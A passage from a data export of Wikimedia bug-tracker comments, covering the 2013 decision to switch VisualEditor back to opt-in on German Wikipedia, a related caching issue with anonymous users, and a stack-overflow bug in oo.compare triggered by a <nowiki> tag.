+Roan's putting this in place now.",,,1375124287,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+247311,Anonymous users getting VisualEditor on German Wikipedia and making edits,"Change 76552 merged by jenkins-bot:
+Explicitly disable VE for anons on dewiki
+
+https://gerrit.wikimedia.org/r/76552",,,1375123842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247303,Anonymous users getting VisualEditor on German Wikipedia and making edits,"Change 76552 had a related patch set uploaded by Catrope:
+Explicitly disable VE for anons on dewiki
+
+https://gerrit.wikimedia.org/r/76552",,,1375123752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247296,Anonymous users getting VisualEditor on German Wikipedia and making edits,"This appears to be a caching issue, yes",,,1375122380,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+54202,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**Author:** `matthiasbecker1967`
+
+**Description:**
+According to http://de.wikipedia.org/wiki/Wikipedia_Diskussion:Umfragen/VisualEditor_Opt-in the German Wikipedia community demands to postpone enablement of the VE for IPs until the VE is a robust and mostly bug free feature and to revert VE for registered users back to ""opt-in"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49998
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52232",Unbreak Now!,100.0,1375049820,1375122779.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-sa6s63ajvv65ik2b7344,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+245474,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**nrp** wrote:
+
+(In reply to comment #16)
+> (In reply to comment #15)
+> > So De Wikipedia holds a quick poll and their deployment is changed to opt-in,
+> > but on En Wikipedia, despite weeks of complaints, we are still stuck with
+> > opt-out? How does that work?
+> 
+> If you can hold a coordinated vote on the English Wikipedia and get over 400
+> participants to agree to switch to opt-in, I imagine you can get the same
+> result. :-)
+
+I think a quick look at the feedback and other related pages would show a consensus for a switch to opt-in, but in any event there is now an RFC: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Default_State_RFC",,,1375208914,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+245468,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","(In reply to comment #15)
+> So De Wikipedia holds a quick poll and their deployment is changed to opt-in,
+> but on En Wikipedia, despite weeks of complaints, we are still stuck with
+> opt-out? How does that work?
+
+If you can hold a coordinated vote on the English Wikipedia and get over 400 participants to agree to switch to opt-in, I imagine you can get the same result. :-)",,,1375136346,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+245462,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**nrp** wrote:
+
+So De Wikipedia holds a quick poll and their deployment is changed to opt-in, but on En Wikipedia, despite weeks of complaints, we are still stuck with opt-out? How does that work?",,,1375129191,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+245456,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia",Closing this bug now as the issue in c13 should be resolved by bug 52232. The intention of this bug report is done.,,,1375122779,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+245449,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","It seems that some IPs can use VE, see e.g. 
+http://de.wikipedia.org/w/index.php?title=Medien_%28Land%29&curid=132736&diff=121014468&oldid=120989155
+(tagged as Visual editor), see also the talk on the village pump
+https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#VE_f.C3.BCr_IP_funktioniert.3F",,,1375119647,,PHID-USER-dczyqgtdvr5hclqcljrr,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+245441,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76468 abandoned by MZMcBride:
+Explicitly disable VisualEditor by default on dewiki
+
+Reason:
+I feel like a Wikipedia user who finally makes his first edit only to have it reverted. ;-)
+
+https://gerrit.wikimedia.org/r/76468",,,1375116096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+245434,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","(In reply to comment #7)
+> (In reply to comment #6)
+> >... VisualEditor will be temporarily switched back into opt-in mode on
+> > the German Wikipedia. We don’t intend to otherwise alter the near-term
+> > VisualEditor deployment schedule
+> 
+> Does that mean opt-in for everyone or just registered users?
+Opt-in for everyone, that is to say it's off unless you turn it on in your preferences. In practice, anonymous users won't be able to opt in unless they create an account, because anons can't change their preferences.",,,1375115973,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+245426,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia",This is now done.,,,1375115930,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+245418,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76516 merged by jenkins-bot:
+Switch VisualEditor back to alpha (opt-in) mode on dewiki
+
+https://gerrit.wikimedia.org/r/76516",,,1375115875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245412,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76516 had a related patch set uploaded by Jforrester:
+Switch VisualEditor back to alpha (opt-in) mode on dewiki
+
+https://gerrit.wikimedia.org/r/76516",,,1375112857,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245406,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**jsalsman** wrote:
+
+(In reply to comment #6)
+>... VisualEditor will be temporarily switched back into opt-in mode on
+> the German Wikipedia. We don’t intend to otherwise alter the near-term
+> VisualEditor deployment schedule
+
+Does that mean opt-in for everyone or just registered users?",,,1375086074,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+245398,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","In response to community feedback, VisualEditor will be temporarily switched back into opt-in mode on the German Wikipedia. We don’t intend to otherwise alter the near-term VisualEditor deployment schedule, except in case of emergencies.
+
+As we did in the case of Dutch Wikipedia, for instance, which was exempted from the phase 2 rollout, we try to accommodate community concern in the process of this rollout. VisualEditor is the single largest and most disruptive change to the user experience in the history of our projects. Not only is it still beta software, it also depends on us working together in partnership to update documentation, add template metadata (which is used by VisualEditor to make templates more user-friendly), and deal with unexpected issues. We appreciate your patience and feedback, and we have no intent of taking your partnership for granted.
+
+We also recognize that there are still significant areas for improvement (e.g. performance, handling of tables, insertion of special characters) as well as work we can do to reduce the incidence rate of problematic markup changes. As we continue to support the beta where it is deployed, we’ll also update the German Wikipedia community on progress in these areas, and prepare for re-enabling VisualEditor later in the calendar year.
+
+As a reminder, VisualEditor has always been optional to use, and can now also be completely hidden from the user experience (as an individual preference) in wikis where it is enabled by default.
+
+-- James Forrester, Product Manager, VisualEditor team
+
+----
+
+Als Reaktion auf die Rückmeldungen der deutschsprachigen Wikipedia-Gemeinschaft werden wir den VisualEditor dort temporär wieder nur per Opt-In verfügbar machen. Darüber hinaus beabsichtigen wir nicht, die unmittelbare Planung für andere Sprachversionen zu verändern, es sei denn, es treten schwerwiegende Probleme auf.
+
+Wie auch z.B. im Fall der niederländischen Wikipedia, die von Phase 2 der Beta ausgenommen wurde, versuchen wir, bei der weiteren Aktivierung des VisualEditor mit den Sprachversionen zusammen zu arbeiten und nehmen Bedenken ernst. VisualEditor ist die weitgehendste Änderung an der Benutzeroberfläche in der Geschichte unserer Projekte. VisualEditor ist aber noch Beta-Software, und der Erfolg des Projekts hängt sehr davon ab, dass wir ein einer positiven Partnerschaft zusammen arbeiten, um z.B. Vorlagen-Metadaten (TemplateData) hinzuzufügen (die von VisualEditor verwendet werden, um die Benutzeroberfläche für Vorlagen zu verbessern) und Dokumentation zu aktualisieren, und um mit Software-Problemen umzugehen. Wir schätzen die Geduld und das ehrliche Feedback der deutschsprachigen Wikipedia-Gemeinschaft, und gehen nicht davon aus, dass eine Kooperation ohne gegenseitiges Entgegenkommen funktionieren kann.
+
+Wir erkennen auch an, dass es im VisualEditor noch viel Raum für Verbesserungen gibt. Das beinhaltet z.B. Performance, bessere Unterstützung für Tabellen und einen Dialog für das Einfügen von Sonderzeichen. In einigen Fällen können wir auch das Verhalten des Editors optimieren, um unerwünschte Änderungen am Wikitext zu reduzieren. Auch auf der deutschsprachigen Wikipedia werden Verbesserungen selbstverständlich für Opt-In-Nutzer kontinuierlich zur Verfügung stehen, und wir werden regelmäßige Ankündigungen über Neuerungen veröffentlichen. Unser Ziel ist eine Wiederaktivierung des VisualEditor in der Beta-Konfiguration später im Kalenderjahr.
+
+Die Verwendung von Wikitext wird selbstverständlich auch nach der Wiederaktivierung des VisualEditor möglich sein. Der VisualEditor ist und bleibt optional, und kann während der Beta-Phase auch komplett aus der Benutzeroberfläche entfernt werden.
+
+-- James Forrester, Produktmanager, VisualEditor-Team",,,1375075738,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,True,,,4,,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+245392,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76468 had a related patch set uploaded by MZMcBride:
+Explicitly disabled VisualEditor by default on dewiki
+
+https://gerrit.wikimedia.org/r/76468",,,1375073521,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245385,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76199 had a related patch set uploaded by MZMcBride:
+Enable anonymous use of VisualEditor on es/fr/he/it/pl/ru/sv
+
+https://gerrit.wikimedia.org/r/76199",,,1375072767,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245381,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","VisualEditor's configuration variables are a bit confusing to me, but it seems like the German Wikipedia would like to reverse part of this change: <https://gerrit.wikimedia.org/r/#/c/75543/4/wmf-config/InitialiseSettings.php,unified>.
+
+wmgVisualEditorDefault would be set to false for dewiki.
+
+wmgVisualEditorDisableForAnons would be left as true for dewiki.
+
+Is this correct?",,,1375070977,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,1
+245377,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","From bug 49998 comment 8:
+
+---
+In the quick poll (see #7) the results at the moment are as following:
+
+1) enabeling VE as default for all users: 21 votes
+2) VE as default for logged-in users: 6 votes
+3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
+4) enabeling VE under another link name (suggestion was ""Visual Editor (beta)""
+instead of ""Bearbeiten"" (""edit"")): 31 votes
+
+According to this large majority of users who oppose defaulting VE by tomorrow,
+I hereby ask you to put VE back to opt-in for logged-in users until the most
+important bugs are fixed. Thank you.
+---",,,1375070446,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1
+245372,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","From bug 49998 comment 7:
+
+---
+the German wikipedia just started a quick poll over the weekend to at least
+postpone this activation for anonymous users on monday:
+
+https://de.wikipedia.org/wiki/Wikipedia:Umfragen/VisualEditor_Opt-in
+
+the poll has currently also a option for the previous state where VE was Opt-in
+for users instead of Opt-out if this is still possible.
+
+It would be appreciated to take the outcome on monday into account and postpone
+this activation for dewiki if desired.
+---",,,1375070430,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,0
+53948,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1374661020,1375139113.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253214,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare",Now fixed.,,,1375139113,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+253211,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 76220 merged by jenkins-bot:
+Don't compare annotations directly with ve.compare()
+
+https://gerrit.wikimedia.org/r/76220",,,1375127248,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253206,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 76220 had a related patch set uploaded by Jforrester:
+Don't compare annotations directly with ve.compare()
+
+https://gerrit.wikimedia.org/r/76220",,,1374883810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+253199,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","(In reply to comment #4)
+> https://www.mediawiki.org/w/index.php?title=Extension:MassMessage/
+> Design&oldid=745378&veaction=edit
+> 
+> When I go to this URL in Google Chrome/OS X/Version 27.0.1453.116, I get the
+> following error in my JavaScript console:
+> 
+> Uncaught RangeError: Maximum call stack size exceeded
+> oo.compare
+> oo.compare
+[…]
+
+This is now masked by some significant performance improvements we made (so it ""works""), but we think it's still an issue; keeping open.",,,1374796813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+253193,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","https://www.mediawiki.org/w/index.php?title=Extension:MassMessage/Design&oldid=745378&veaction=edit
+
+When I go to this URL in Google Chrome/OS X/Version 27.0.1453.116, I get the following error in my JavaScript console:
+
+Uncaught RangeError: Maximum call stack size exceeded
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare
+oo.compare",,,1374730027,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-kql7loyrzdkr4rwpdcm6,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1
+253190,"VisualEditor: A <nowiki> on page causes ""Uncaught RangeError: Maximum call stack size exceeded"" in oojs.compare","Change 75636 merged by jenkins-bot:
+Put <nowiki> edting in experimental for now
+
